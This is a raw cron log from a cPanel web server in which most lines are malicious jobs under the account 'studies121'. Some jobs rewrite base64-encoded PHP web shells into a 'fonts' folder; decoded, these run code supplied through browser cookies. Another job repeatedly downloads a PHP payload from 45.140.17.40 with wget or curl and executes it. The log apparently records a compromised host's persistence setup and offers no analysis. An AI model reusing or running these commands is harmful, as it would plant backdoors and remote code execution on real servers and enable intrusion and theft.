Sep 20 20:35:01 ip-184-168-122-23 CROND[2192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:35:01 ip-184-168-122-23 CROND[2194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:35:01 ip-184-168-122-23 CROND[2193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:35:01 ip-184-168-122-23 CROND[2191]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 20:35:01 ip-184-168-122-23 CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:36:01 ip-184-168-122-23 CROND[2427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:36:01 ip-184-168-122-23 CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:36:01 ip-184-168-122-23 CROND[2432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:36:01 ip-184-168-122-23 CROND[2431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:36:01 ip-184-168-122-23 CROND[2433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:37:01 ip-184-168-122-23 CROND[2762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:37:01 ip-184-168-122-23 CROND[2764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:37:01 ip-184-168-122-23 CROND[2763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:37:01 ip-184-168-122-23 CROND[2766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:38:01 ip-184-168-122-23 CROND[3003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:38:01 ip-184-168-122-23 CROND[3004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:38:01 ip-184-168-122-23 CROND[3006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:38:01 ip-184-168-122-23 CROND[3007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:38:01 ip-184-168-122-23 CROND[3010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:39:01 ip-184-168-122-23 CROND[3227]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 20:39:01 ip-184-168-122-23 CROND[3229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:39:01 ip-184-168-122-23 CROND[3230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:39:01 ip-184-168-122-23 CROND[3231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:39:01 ip-184-168-122-23 CROND[3235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:40:01 ip-184-168-122-23 CROND[3483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:40:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:40:01 ip-184-168-122-23 CROND[3490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:41:01 ip-184-168-122-23 CROND[3728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:41:01 ip-184-168-122-23 CROND[3727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:41:01 ip-184-168-122-23 CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:41:01 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:42:01 ip-184-168-122-23 CROND[4026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:42:01 ip-184-168-122-23 CROND[4027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:42:01 ip-184-168-122-23 CROND[4030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:42:01 ip-184-168-122-23 CROND[4031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:42:01 ip-184-168-122-23 CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:43:02 ip-184-168-122-23 CROND[4275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:43:02 ip-184-168-122-23 CROND[4279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:43:02 ip-184-168-122-23 CROND[4278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:43:02 ip-184-168-122-23 CROND[4289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:44:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:44:01 ip-184-168-122-23 CROND[4524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:44:01 ip-184-168-122-23 CROND[4526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:44:01 ip-184-168-122-23 CROND[4525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:44:01 ip-184-168-122-23 CROND[4528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:45:01 ip-184-168-122-23 CROND[4783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4780]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:45:01 ip-184-168-122-23 CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:46:01 ip-184-168-122-23 CROND[5218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:46:01 ip-184-168-122-23 CROND[5217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:46:01 ip-184-168-122-23 CROND[5219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:46:01 ip-184-168-122-23 CROND[5220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:46:01 ip-184-168-122-23 CROND[5221]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 20:46:01 ip-184-168-122-23 CROND[5222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:46:01 ip-184-168-122-23 CROND[5225]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 20:47:01 ip-184-168-122-23 CROND[5592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:47:01 ip-184-168-122-23 CROND[5593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:47:01 ip-184-168-122-23 CROND[5596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
